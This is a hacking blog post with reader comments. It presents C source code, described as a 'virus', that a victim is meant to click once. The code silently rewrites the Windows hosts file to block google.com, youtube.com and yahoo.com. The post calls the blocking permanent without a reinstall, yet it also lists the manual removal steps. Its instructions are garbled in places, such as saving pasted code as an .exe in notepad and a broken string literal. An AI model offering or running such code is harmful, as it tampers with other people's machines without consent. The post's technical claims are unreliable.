Hacking Equipments | C/C++ Coding | Updates:: Did you tried Our Online ? AdobePhotoshop |

Goto Top

Block Websites By Using Virus in C language



i was playing with C language suddenly i got an idea if C language can perform read write and append operation with file then it will definitely it can change host file , i started to write a Virus in C :p i will not explain host file because i have already made a tut on it on our YouTube channel.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking.



Here is the sourcecode of the virus :



#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char HC[12]=”127.0.0.1?;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{  /* visit www.H4ck3rCracks.com for more */
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,HC,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}



You Have To copy this code and paste it in notepad then save it as block_the_sites.exe


Working and Applying:



1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_the_sites.exe  restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1————————— facebook.com

5. Delete all such entries which contain the names of blocked sites.


So Hope You Liked That Little weird trick :p Subscribe Us.
Regards,
Zulqurnain jutt


4 comments :

  1. YouDontNeedThat29 Mar 2013, 07:54:00

    Why the hell would you want to include -

    #include
    #include

    instead of including -

    #include

    And this code is not clean for a "pro" programmer in c++

    Mean while why did you used multidimensional array ? -
    char site_list[6][30]

    Couldnt you just use 1 huge char array and seperate them with lets say http(s):// word?

    You did a hell of a mess trying to detect where the windows installation drive is,

    You could just use getenv("windir") .


    Something else you forgot doin' is to change the premission of the hosts file,
    most computers default windows installation got hosts with read only.
    If you don't change it, the fille cannot be modified.


    Alot more to say, too much for now.

    But nice try.

    ReplyDelete
  2. Btw you got a nice bug here closing tags i guess ?
    See if i #include it will auto close it in the end of my msg...
    Can get you to alot of trouble :\

    ReplyDelete
  3. well , in uni , they use dump terminals so, they have no admin rights so can't access hosts file which actually block's site , so have a try if you are client it will still have chances to work on , but if dump terminal then it'll not work..

    ReplyDelete

Having Confusion ,oH Dear ask me in comments!!

Related Posts Plugin for WordPress, Blogger...
 

About Admin

I am a pro-programmer of C++ ,php i can crack some softwares and am a web desighner .I AM also on .


| Solve Byte © 2011 - 2016. All Rights Reserved | Back To Top |